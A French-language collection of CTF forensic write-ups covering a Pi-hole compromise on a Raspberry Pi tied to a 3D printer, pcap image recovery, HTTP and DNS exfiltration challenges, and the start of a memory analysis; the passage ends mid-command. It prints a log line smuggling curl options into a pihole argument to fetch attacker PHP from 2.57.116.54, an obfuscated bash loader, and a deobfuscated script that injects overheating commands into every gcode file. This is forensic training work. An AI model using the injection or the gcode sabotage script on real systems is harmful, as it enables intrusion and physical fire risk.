
```
onosh@siftworkstation -> /tmp 
# ls -l /mnt/veracrypt/
total 5502
-rwx------ 1 root root 4106658 oct.  23  2019 Brandalism.pdf
-rwx------ 1 root root      46 juil.  2 08:55 Flag.txt
-rwx------ 1 root root 1521110 juil.  2 09:29 Liberator.gcode
-rwx------ 1 root root    3150 juil.  2 08:43 xbdk.kdbx
```

Le fichier Brandalism.pdf n'est pas intéressant car il est identique à celui mis à disposition par l'entreprise Brandalism sur internet (sha256sum identique).

Le fichier Liberator.gcode semble intéressant, car le "gcode" est un langage pour donner des instructions à une imprimante 3D. Mais ce fichier ne cache aucun secret, à part le logo des organisateurs du CTF.

![](https://i.imgur.com/uqU8Sbg.png)

Le dernier fichier est un keepass, j'essaye de l'ouvrir avec la clé récupéré précédemment `idontignoreyouboby` :

![](https://i.imgur.com/66FCL8r.png)

Et ça marche, le flag de cette dernière étape de la première partie était caché ici !

![](https://i.imgur.com/ViMRBtK.png)

`ECW{9dc2896d55b56eb19f59d544383f832644381817}` + 100 points

### Partie II <a href="#partie-ii" id="partie-ii"></a>

Cette deuxième partie est constituée de 3 étapes et l'analyse se concentre sur l'image disque du rapsberry, c'est à dire le fichier Raw2.dd

#### Burn After Reading 1/3 <a href="#burn-after-reading-13" id="burn-after-reading-13"></a>

On nous donne les informations suivantes :

> Suite de l'enquête sur le maker décédé dans des conditions suspicieuses...

Une piste de recherche : Point d'entrée

Ici, on doit chercher une trace, qui montrerait le point d'entrée de l'attaquant. Et pour trouver une trace, on vise automatiquement les logs.

Malheuresement, cette image disque du raspberry est chiffré avec Luks ! mais heureusement, le maker a enregistré la clé de déchiffrement dans le fichier keepass :

![](https://i.imgur.com/cDu3kgd.png)

Il suffit de monter la partition chiffrée avec la clé "3DPiting" :

```
onosh@siftworkstation -> /tmp 
# cryptsetup luksOpen lapartitionluks.dd BRIOCHE
Enter passphrase for lapartitionluks.dd: 
onosh@siftworkstation -> /tmp 
# mount -r /dev/mapper/BRIOCHE /mnt/lulu/
onosh@siftworkstation -> /tmp 
# ls -l /mnt/lulu/
total 88
drwxr-xr-x  2 root root  4096 mai   27 07:11 bin
drwxr-xr-x  2 root root  4096 mai   27 07:24 boot
drwxr-xr-x  4 root root  4096 mai   27 07:05 dev
drwxr-xr-x 87 root root  4096 juil.  9 12:20 etc
drwxr-xr-x  3 root root  4096 mai   27 07:10 home
drwxr-xr-x 17 root root  4096 juil.  9 10:00 lib
drwx------  2 root root 16384 mai   27 07:24 lost+found
drwxr-xr-x  2 root root  4096 mai   27 07:05 media
drwxr-xr-x  2 root root  4096 mai   27 07:05 mnt
drwxr-xr-x  4 root root  4096 juil.  9 09:42 opt
drwxr-xr-x  2 root root  4096 mai   10 20:59 proc
drwx------  3 root root  4096 janv.  1  1970 root
drwxr-xr-x  4 root root  4096 mai   27 07:05 run
drwxr-xr-x  2 root root  4096 juil.  9 10:00 sbin
drwxr-xr-x  2 root root  4096 mai   27 07:05 srv
drwxr-xr-x  2 root root  4096 mai   10 20:59 sys
drwxrwxrwt  7 root root  4096 juil.  9 16:54 tmp
drwxr-xr-x 10 root root  4096 mai   27 07:05 usr
drwxr-xr-x 12 root root  4096 juil.  9 09:34 var
```

On a désormais accès au raspberry.

Comme dit ci-dessus, nous recherchons une "trace", quoi de mieux que les logs pour trouver cela ?

```
onosh@siftworkstation -> /m/lulu/ 
# ls -lart var/log/
total 18580
-rw-r--r--  1 root     root            0 mai   27 07:24 bootstrap.log
drwx------  2 root     root         4096 mai   27 07:24 private
-rw-r-----  1 root     adm        211062 juil.  9 09:21 syslog.1
-rw-rw----  1 root     utmp          384 juil.  9 09:23 btmp
drwxr-xr-x 12 root     root         4096 juil.  9 09:34 ..
-rw-r--r--  1 root     root         1380 juil.  9 09:41 alternatives.log
-rw-r--r--  1 root     root        24000 juil.  9 09:41 faillog
drwxr-x---  2 www-data www-data     4096 juil.  9 09:42 lighttpd
drwxr-xr-x  2 vboxadd       995     4096 juil.  9 09:43 pihole
drwxr-xr-x  6 root     root         4096 juil.  9 09:43 .
drwxr-xr-x  2 root     root         4096 juil.  9 10:48 apt
-rw-r--r--  1 root     root        55060 juil.  9 10:52 dpkg.log
-rw-r-----  1 root     adm          2600 juil.  9 12:18 user.log
-rw-r-----  1 root     adm         16883 juil.  9 12:18 debug
-rw-r-----  1 root     adm        136403 juil.  9 13:22 messages
-rw-rw-r--  1 root     utmp       292292 juil.  9 16:53 lastlog
-rw-r-----  1 root     adm        143132 juil.  9 16:53 kern.log
-rw-r-----  1 root     adm         96431 juil.  9 16:53 auth.log
-rw-r--r--  1 vboxadd       995 17953851 juil.  9 16:53 pihole.log
-rw-r-----  1 root     adm        115833 juil.  9 16:53 syslog
-rw-r-----  1 root     adm        168331 juil.  9 16:53 daemon.log
-rw-r--r--  1 vboxadd       995    15747 juil.  9 16:53 pihole-FTL.log
-rw-rw-r--  1 root     utmp        16128 juil.  9 16:54 wtmp
```

Nous savons que le maker est mort dans un incendie, suite à l'attaque d'un pirate. Nous devons retrouver le point d'entrée du pirate... le fichier auth.log semble être l'un des plus pertinent pour lister les tentatives d'authentification.

Je découvre des traces qui semblent malveillante vers 13:50:59 :

```
Jul  9 10:42:22 raspberrypi usermod[11586]: add 'pihole' to group 'www-data'
Jul  9 10:42:22 raspberrypi usermod[11586]: add 'pihole' to shadow group 'www-data'
Jul  9 10:42:22 raspberrypi usermod[11592]: add 'www-data' to group 'pihole'
Jul  9 10:42:23 raspberrypi usermod[11592]: add 'www-data' to shadow group 'pihole'
Jul  9 13:50:59 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts
Jul  9 13:50:59 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://mirror1.malwaredomains.com/files/justdomains
Jul  9 13:51:00 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable http://sysctl.org/cameleon/hosts
Jul  9 13:51:00 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://s3.amazonaws.com/lists.disconnect.me/simple_tracking.txt
Jul  9 13:51:01 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt
Jul  9 13:51:01 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://hosts-file.net/ad_servers.txt
Jul  9 13:51:02 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==
Jul  9 13:51:04 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==
Jul  9 13:51:04 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://2.57.116.54# -o fun.php -d 
Jul  9 13:51:06 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:51:30 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:51:53 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable http://2.57.116.54# -o fun.php -d
Jul  9 13:51:53 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://2.57.116.54# -o teleporter.php -d 
Jul  9 13:51:55 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:52:17 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:52:38 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -a -t
```

L'utilisateur de "pihole", un outil pour bloquer les publicités, à supprimer et ajouter des noms de domaines aux listes de blocage de pihole.

Un nom de domaine est particulier : `http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==`

Il s'agit d'une chaine encodé en base64, et si on l'a décode :

```
onosh@siftworkstation -> /m/lulu/ 
# echo "RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==" |base64 -d
ECW{ed9375f30bd22077cfdd497ae7c2aef1bb4b832f}
```

Nous avons notre flag : `ECW{ed9375f30bd22077cfdd497ae7c2aef1bb4b832f}` + 50 points

#### Burn After Reading 2/3 <a href="#burn-after-reading-23" id="burn-after-reading-23"></a>

Piste de recherche : Fichiers Ciblés

Rappelons nous, Yuri, le pirate avait envoyé un fichier "STL", ce fichier est utilisé par les imprimantes 3D. Je décide d'analyser les fichiers que l'imprimante du maker à utilisé.

La solution "octoprint" est installé sur le raspberry, cette solution permet de contrôler les opérations d'une imprimante 3D.

Les fichiers imprimés par l'imprimante sont stockés dans le répertoire `uploads/`

```
onosh@siftworkstation -> /m/lulu/ 
# ls -lart home/pi/.octoprint/uploads/
total 62316
-rw-------  1 bsi bsi  1310133 juil.  9 13:03 CE3PRO_Table_Hanger.gcode
-rw-------  1 bsi bsi  1561146 juil.  9 13:03 Liberator.gcode
-rw-------  1 bsi bsi 41533989 juil.  9 13:03 CE3PRO_corona.gcode
-rw-------  1 bsi bsi  3434681 juil.  9 13:03 CE3PRO_unbelievable.gcode
-rw-------  1 bsi bsi  1099516 juil.  9 13:03 CE3PRO_MIG-29_kit.gcode
-rw-------  1 bsi bsi 14846427 juil.  9 13:04 CE3PRO_Naomi__Wu.gcode
```

On découvre 6 fichiers, ouvrons les tous !

> CE3PRO\_Table\_Hanger.gcode

![](https://i.imgur.com/3PpbhT7.png)

> CE3PRO\_corona.gcode

![](https://i.imgur.com/X67VTIJ.png)

> CE3PRO\_MIG-29\_kit.gcode

![](https://i.imgur.com/ugDQUuE.png)

> CE3PRO\_Naomi\_\_Wu.gcode

![](https://i.imgur.com/DefhqKV.png)

> CE3PRO\_unbelievable.gcode

![](https://i.imgur.com/UNMPckg.png)

Cool, on a notre flag ! `ECW{f79d8842c644881ddf017e0928e87710c0a15d84}` + 50 points

#### Burn After Reading 3/3 <a href="#burn-after-reading-33" id="burn-after-reading-33"></a>

Piste de recherche : Le virus

Pour cette dernière et ultime étape, nous devons retrouver le virus qui a tué le maker (non ce n'est pas le corona virus)

On imagine qu'il y a une action sur l'imprimante pour que celle-ci prennent feu, et tue Drewski...

Le meilleur moyen de retrouver ce "virus", est de tracer une timeline des événement, le dernier jour ou le raspberry a fonctionné.

Actuellement, le seul élement malveillant que nous avons, est le nom de domaine louche, ajouté par le pirate à travers pihole.

[La photo en plus grand](https://i.imgur.com/pNKHfB0.png)

![](https://i.imgur.com/pNKHfB0.png)

L'ensemble de l'attaque est maintenant tracée, un élément est particulièrement étrange... il s'agit du script `basic-install.sh`.

C'est le premier élément louche à être présent sur le raspberry, d'une part par son horaire de création sur le serveur et d'autre part par son contenu.

Voici un échantillon de ce qu'il contient :

```
#!/bin/bash
  ${*^^}   "${@}"ba"${@%4GJp}"s'h'   ${*%%x\{&|q\]l} "${@/\(mL\'U./>l\"rs}" <<< "$(    "${@//F\[sym/8%wS;k43}"  $'\x70'rin''t'f' "\x$(  ${@,} \p\ri""\nt''$'\u0066'  %s  ';6Jb+l<2' "${@##=#BHH}" ${*~} |  "${@//x$Rdu;gr/VQos\!yS}" ${*,,}   'm'$'\1445''s'$'\u0075'm "${@~}"  |  $* ${*}   $'\x63'"${@#T%EP#}"u${*^}t   -b  $[   ((-56"#"k+-"6"1"#""$@"e)+22#2"7") ]-$[ ((15#"0"+-3#"${@/07Ueg+,@/d\!Fm%}"1"${@/t9u&17#/h\)V#wqQf}"1)+5${*^^}3"${@//Md=.RU</2=*P8o%v}"#${@%%ecrN}m)   ]   ${*##nN2Wv} ${*,,}   )"  ${@,}   ;   ${*//z\}BWp+:}   ${*//oxQaU2}  pr\in\t''f   "\x$( ${*//?I2jQpv}   $'\160\x72'""${*~}i$'\x6e'"t""f" %s  'dy52hd]8' ${*^} ${@#$&2\)-=*#} |   ${*,,}  m''d5''$'\u0073'um "${@^}" | "${@/a0^SL,,}" ${*~} cut -b $((  ((${!*}-53#a+4#"${@/1Cg\!JLUk}"11)+57#k)   ))-$[ ((-6"#
```

Le script bash semble avoir été obfusqué avec Bashfuscator, malheuresement pour nous, il n'existe pas de désobfuscateur…

Après avoir sandboxer ce petit script, qui peut-être contient un virus, je l'éxécute pour voir ce qu'il me donne. Quelques secondes d'attente, et le code source d'une page web s'affiche, la page youtube d'un clip de Kenji Girac...

Cela ne nous avance pas beaucoup...

Analysons la structure du fichier :

* Il contient énormément d'expression étrange comme `${@//\{twl}`
* Au début du fichier, nous avons une redirection (<<<) :
  * ``${*^^} "${@}"ba"${@%4GJp}"s'h' ${*%%x\{&|q\]l} "${@/\(mL\`U./>l\"rs}" <<< "$( "${@//F\[sym/8%wS;k43}"``

Ce fameux "<<<" permet en bash, d'afficher ou d'éxécuter une commande en input.

Que ce passe t'il si je remplace ``${*^^} "${@}"ba"${@%4GJp}"s'h' ${*%%x\{&|q\]l} "${@/\(mL\`U./>l\"rs}"`` par un simple cat pour afficher la commande lancée...

```
onosh@a154po4d2:/tmp# ./basic-install.sh
curl 'https://www.youtube.com/watch?v=63K5VMx2BZM' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: VISITOR_INFO1_LIVE=fiPetRZgDXQ; YSC=JleF1aORUEc; GPS=1; CONSENT=WP.288b95' -H 'Upgrade-Insecure-Requests: 1' -H 'TE: Trailers'
```

La commande curl qui récupère la page youtube du clip de Kenji s'affiche, cool !

Le fichier cache peut être une aute occurence de cette fameuse redirection "<<<"

Je trouve une deuxième redirection identique ! Le fichier utilise un OU pour lancer deux commandes :

`bash <<< printf $(...) || bash <<< printf $(...)`

Je n'ai plus qu’à récupérer la deuxième commande... Même opération que toute à l'heure, j'ajoute cat devant le deuxième "<<<" :

```
#ECW{7aaceb8d3e60402d94079707d2430c7394d916eb}
files=$(find / -type f -name "*.gcode" 2>/dev/null)
files=$(echo $files | tr " " "\n")
for file in $files
do
    sz=$(wc -l $file)
    sz=$(echo $sz |  cut -d " " -f1)
    div="2"
    med=$(expr $sz / $div)
    cat $file |head -n $med > temp
    python -c 'print "M107\nM190 S105\nM190 S105\nM109 S250"'>>temp
    x=$(cat $file |head -n $med | tail -n 1 | cut -d 'X' -f2 | cut -d '.' -f1)
    ((x2=$x+1))
    python -c 'print("G1 E10 F100\nG1 X'$x'\nG1 E10 F100\nG1 X'$x2'\n")*1000' >> temp
    cat $file |tail -n $med >> temp
    cat temp > $file
    rm temp
done
```

Nous avons notre dernier flag ! `ECW{7aaceb8d3e60402d94079707d2430c7394d916eb}` + 100 points

Quel était l'objectif de ce virus ?

* Trouver tous les fichiers gcode présent sur le raspberry
* Pour chaque fichier trouvé :
  * Il injecte une commande invalide à la fin du fichier

Un grand nombre de commandes invalides a peut-être fait bruler l'imprimante !


# John Hammond

## Spy Cam <a href="#spy-cam" id="spy-cam"></a>

### Énoncé <a href="#enonce" id="enonce"></a>

Oh no! I found some spyware on my laptop. Can you find out what the attacker saw?

[capture.pcap](https://onosh.github.io/ctf/bsidesbos/download/capture.pcap)

### Analyse du trafic <a href="#analyse-du-trafic" id="analyse-du-trafic"></a>

Dans cette capture, nous avons un grand trafic TCP avec une seule et unique requête http :

![](https://i.imgur.com/rWyfrJ2.png)

Cette requête HTTP vient interroger un serveur web qui écoute sur le port 8081 pour récupérer une image :

![](https://i.imgur.com/ryiDB6N.png)

Nous avons la réponse à cette demande dans les trames TCP qui suivent. Il va donc falloir reconstituer l'image...

![](https://i.imgur.com/uWUnJVG.png)

### Récupération de l'image <a href="#recuperation-de-limage" id="recuperation-de-limage"></a>

Nous savons que l'émetteur de l'image est le serveur qui écoute sur le port 8081... nous devons donc récupérer les trames TCP qui proviennent de ce port :

J'applique le filtre tcp.srcport == 8081

![](https://i.imgur.com/y6AEaDu.png)

2000 trames ressortent, ça va être compliqué de faire ça à la main... un peu de tshark s'impose !

J'utilise la commande suivante pour extraitre les données et reconstituer l'image :

```
tshark -r capture.pcap -T fields -e tcp.segment_data -Y "tcp.srcport == 8081" |xxd -r -p >myimage.jpg
```

Petit problème, on a un bout de la requête HTTP dans le fichier image :

![](https://i.imgur.com/tIocpoe.png)

Du coup je l'enlève à la mano, et maintenant j'ai bien une image au format jpeg :

![](https://i.imgur.com/qi0yMHZ.png)

### Analyse de l'image <a href="#analyse-de-limage" id="analyse-de-limage"></a>

Nous pouvons maintenant ouvrir l'image

![](https://i.imgur.com/W9TpCha.png)

Okay cool... un téléphone ?... et maintenant ?

### Récupération de données dans l'image <a href="#recuperation-de-donnees-dans-limage" id="recuperation-de-donnees-dans-limage"></a>

Le challenge est dans la catégorie forensic, je décide d'extraire quelques infos avec foremost !

![](https://i.imgur.com/Usdu0uA.png)

Haha, il y avait des images cachés !

![](https://i.imgur.com/lQuhqms.png)

Le téléphone à l'air de faire défiler un texte...

Il ne reste plus qu'a reconstituer le flag :

![](https://i.imgur.com/0ECUjgs.png)

![](https://i.imgur.com/lQofyOI.png)

![](https://i.imgur.com/rqQUvdC.png)

![](https://i.imgur.com/mcs9m3X.png)

![](https://i.imgur.com/atG9bA3.png)

![](https://i.imgur.com/r6Udbd7.png)

![](https://i.imgur.com/U9c5lva.png)

**flag{i\_spy\_with\_my\_little\_eye}**


# ESN'HACK


# EXFILTRATION 1

### Énoncé <a href="#enonce" id="enonce"></a>

Lors de l'intrusion, un hacker de l'ESNA a décidé d'exfiltrer de la data du serveur. Cette fois-ci, il a été plus ingénieux et a décidé de brouiller les pistes. A vous de jouer !

Créateur du challenge : [Cabir](https://cabir.fr/)

### Analyse du trafic <a href="#analyse-du-trafic" id="analyse-du-trafic"></a>

En ouvrant la capture avec Wireshark, on remarque qu'il y a un fort trafic http :

![](https://i.imgur.com/aCfCSdN.png)

En suivant le flux tcp 2, on observe la requête http suivante :

```
GET / HTTP/1.1
Host: 0.0.0.0:2000
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 1

EHTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.6.9
Date: Thu, 23 Apr 2020 22:59:27 GMT
Content-type: text/html; charset=utf-8
Content-Length: 559

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="Bigtits-russia">Bigtits-russia</a></li>
<li><a href="comment_perdre_son_gland_de_lait">comment_perdre_son_gland_de_lait</a></li>
<li><a href="free_pornhub_account">free_pornhub_account</a></li>
<li><a href="How_to_hack_CIA">How_to_hack_CIA</a></li>
</ul>
<hr>
</body>
</html>
```

En analysant plus profondément la requête GET, on remarque un transfert de data :

![](https://i.imgur.com/4wyQ0Ot.png)

Plus largement, les requêtes HTTP GET sont envoyés vers 4 ports principaux, 2000,3000,4000 et 5000 sans vraiment de distinctions possibles.

### Récupération des données <a href="#recuperation-des-donnees" id="recuperation-des-donnees"></a>

Je décide donc de commencer par récupérer les données qui circulent sur les échanges à destination du port 2000.

```
onosh@kali:/mnt/v# tshark -r exfiltration1.pcapng -Y 'http.request.method == "GET" && tcp.port eq 2000' -T fields -e http.file_data |tr -d '\n'
ESNHACK{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}
```

Et bingo, je récupère le flag !


# EXFILTRATION 2

### Énoncé

Cette fois-ci les attaquants ont changé de stratégie. Nos experts n'arrivent a rien. Sur cette capture réseau, on pense qu'ils ont encore exfiltré quelques chose. On ne sait pas quoi, ni comment. Aidez-nous !

Créateur du challenge : [Cabir](https://cabir.fr/)

### Analyse du trafic <a href="#analyse-du-trafic" id="analyse-du-trafic"></a>

En ouvrant la capture avec Wireshark, on remarque qu'il y a un fort trafic DNS :

![](https://i.imgur.com/dme7dCZ.png)

Les noms de domaines interrogés semblent louches, c’est suspect car ces genres de (sous-domaines suspects longs / non lisibles par l’homme) sont souvent considérés comme des indicateurs d’activités d’exfiltration DNS.

![](https://i.imgur.com/WNZn4MZ.png)

### Récupération des données <a href="#recuperation-des-donnees" id="recuperation-des-donnees"></a>

Je décide d'essayer d'extraire l'ensemble des sous domaines pour trouver le secret qu'ils gardent :

```
onosh@kali:/mnt/v# tshark -r exfiltration_2.pcapng -T fields -e dns.qry.name -Y "dns.qry.name" | grep "esnhack.fr" | cut -d "." -f 1 | uniq -d
77mp7yaacbfemskgaaaqcaaaaeaacaaa77nqaq
yaambaeaqcaibqeaqcambqgayeaycaibaeaqea
mbqfayeqqcqkbeeascikbqhqycqlbyfqscince
gq4dyqcairacqmcijreeatb4ibaeh73maegaid
ambqiayebacaicaqbmeqweaqcaibaeaqcaibae
aqcaibaeaqcaibaeaqcaibaeaqcaibaeaqcaib
aeaqcaibaeaqcaibaeaqcaibb76caaiqqakual
oqgairaabbcaidcea77raaduaaaaqcamaqcaia
aaaaaaaaaaaaaaicaabqibiga4eat76eaanaca
ibaeaqcaibaaaaaaaaaaaaaaaaaebagbafa375
...
oxa47hh77wi=
```

On dirait que c'est du b64. J'enregistre l'ensemble des sous domaines sous forme d'une seule chaine dans le fichier res.txt afin de la décoder :

```
onosh@kali:/mnt/v# tshark -r exfiltration_2.pcapng -T fields -e dns.qry.name -Y "dns.qry.name" | grep "esnhack.fr" | cut -d "." -f 1 | uniq -d | tr -d '\n' >res.txt
```

### Reconstitution des données extraites <a href="#reconstitution-des-donnees-extraites" id="reconstitution-des-donnees-extraites"></a>

En décodant le fichier, je m'aperçois que le fichier obtenu est inutile, le header `efb9 a9ef` ne correspond à rien.

```
onosh@kali:/mnt/v# base64 -d res.txt >res2.txt
onosh@kali:/mnt/v# xxd res2.txt |head -n5
00000000: efb9 a9ef 269a 71b7 de9a c920 69a6 aa71  ....&.q.... i..q
00000010: a69a 69e6 9a71 a69a efb9 ea6a ac9a 6a66  ..i..q.....j..jf
00000020: da79 aa9c 6a26 ea79 aa9c 6a66 ea81 ac9e  .y..j&.y..jf....
00000030: 6b27 1a89 b69e 6aa7 9a99 ba9f 6b27 aaa9  k'....j.....k'..
00000040: caa4 6de7 9ab1 c8a4 6ea8 6ac9 caa5 6f27  ..m.....n.j...o'
onosh@kali:/mnt/v# file res2.txt 
res2.txt: data
```

![](https://i.imgur.com/BV2il4Q.png)

La RFC 4648 nous apprend qu'il existe le base16, base32 et base64 pour encoder des données.

Le base64 ayant échoué, essayons le base32 !

Base32 utilise un ensemble de 32 caractères.

![](https://i.imgur.com/sLFvLc4.png)

Les lettres de A à Z en majuscules et les chiffres de 2 à 7. Il nous suffit donc de passer les lettres minuscules des sous domaines en lettres majuscules et de décoder tout ça :

```
root@DESKTOP-68IHLRN:/mnt/v# tshark -r exfiltration_2.pcapng -T fields -e dns.qry.name -Y "dns.qry.name" | grep "esnhack.fr" | cut -d "." -f 1 | uniq -d | tr -d '\n' |tr 'a-z' 'A-Z' |base32 -d >file.dat
```

Et cette fois ci, les headers sont beaucoup plus parlant :)

```
root@DESKTOP-68IHLRN:/mnt/v# xxd file.dat |head -n5
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
00000010: 0001 0000 ffdb 0043 0003 0202 0202 0203  .......C........
00000020: 0202 0203 0303 0304 0604 0404 0404 0806  ................
00000030: 0605 0609 080a 0a09 0809 090a 0c0f 0c0a  ................
00000040: 0b0e 0b09 090d 110d 0e0f 1010 1110 0a0c  ................
```

![](https://i.imgur.com/MBixsQ7.png)


# France Cybersecurity Challenge


# Académie de l'investigation - C'est la rentrée

### Énoncé <a href="#enonce" id="enonce"></a>

Bienvenue à l'académie de l'investigation numérique ! Votre mission, valider un maximum d'étapes de cette série afin de démontrer votre dextérité en analyse mémoire GNU/Linux.

Première étape : retrouvez le HOSTNAME, le nom de l'utilisateur authentifié lors du dump et la version de Linux sur lequel le dump a été fait.

Format du flag : FCSC{hostname:user:x.x.x-x-amdxx}

[dmp.tar.gz](https://drive.google.com/file/d/1MAMwyRsKcsdZi34AFF1zeVcO955YSHDW/view?usp=sharing)

### Étape 1 - Le Hostname <a href="#etape-1-le-hostname" id="etape-1-le-hostname"></a>

Pour ce premier challenge forensic de l'FCSC, nous commencons les analyses avec strings et grep, les informations demandés ne sont pas trop poussés et cela devrait suffir.

J'essaye de jouer sur les variables d'environnement pour le hostname

```
onosh@kali:/home/onosh/FCSC/FORENSIC/volatility# strings ../dmp/dmp.mem |grep -nH --color 'HOSTNAME'
